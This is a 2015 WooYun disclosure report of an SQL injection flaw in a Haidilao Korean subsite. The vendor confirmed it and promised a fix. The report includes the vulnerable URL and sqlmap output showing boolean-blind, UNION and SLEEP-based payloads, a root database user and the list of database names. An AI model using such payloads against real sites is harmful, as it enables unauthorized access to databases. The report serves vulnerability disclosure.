当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0162884

漏洞标题:海底捞某分站存在SQL注入漏洞

相关厂商:haidilao.com

漏洞作者: 路人甲

提交时间:2015-12-21 12:00

修复时间:2016-02-01 10:51

公开时间:2016-02-01 10:51

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-21: 细节已通知厂商并且等待厂商处理中
2015-12-21: 厂商已经确认,细节仅向厂商公开
2015-12-31: 细节向核心白帽子及相关领域专家公开
2016-01-10: 细节向普通白帽子公开
2016-01-20: 细节向实习白帽子公开
2016-02-01: 细节向公众公开

简要描述:

海底捞某分站存在SQL注入漏洞

详细说明:

说好的礼物呢!
让我这么辛苦的挖洞
说好的礼物呢
网站地址:http://kr.haidilao.com
漏洞地址:

http://kr.haidilao.com/index.php/Dishes/feature/id/101


使用SQLmap 注入

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://kr.haidilao.com:80/index.php/Dishes/feature/id/101 AND 7316=7316
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: http://kr.haidilao.com:80/index.php/Dishes/feature/id/101 LIMIT 1,1 UNION ALL SELECT NULL, CONCAT(0x3a767a763a,0x61654e59565551654f46,0x3a6d77613a), NULL, NU
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://kr.haidilao.com:80/index.php/Dishes/feature/id/101 AND SLEEP(5)
---
[11:22:04] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL 5.0.11
[11:22:04] [INFO] fetching current user
current user: 'root@localhost'
[11:22:04] [INFO] fetching database names
available databases [4]:
[*] h_hdl
[*] information_schema
[*] mysql
[*] test


好了,就这些,求礼物呀!说好的礼物呢!

漏洞证明:

让我这么辛苦的挖洞
说好的礼物呢
网站地址:http://kr.haidilao.com
漏洞地址:

http://kr.haidilao.com/index.php/Dishes/feature/id/101


使用SQLmap 注入

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://kr.haidilao.com:80/index.php/Dishes/feature/id/101 AND 7316=7316
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: http://kr.haidilao.com:80/index.php/Dishes/feature/id/101 LIMIT 1,1 UNION ALL SELECT NULL, CONCAT(0x3a767a763a,0x61654e59565551654f46,0x3a6d77613a), NULL, NU
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://kr.haidilao.com:80/index.php/Dishes/feature/id/101 AND SLEEP(5)
---
[11:22:04] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL 5.0.11
[11:22:04] [INFO] fetching current user
current user: 'root@localhost'
[11:22:04] [INFO] fetching database names
available databases [4]:
[*] h_hdl
[*] information_schema
[*] mysql
[*] test


好了,就这些,求礼物呀!说好的礼物呢!

修复方案:

你们懂的,求礼物呀!

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-12-21 12:25

厂商回复:

谢谢,我们已安排人员进行修复。

最新状态:

暂无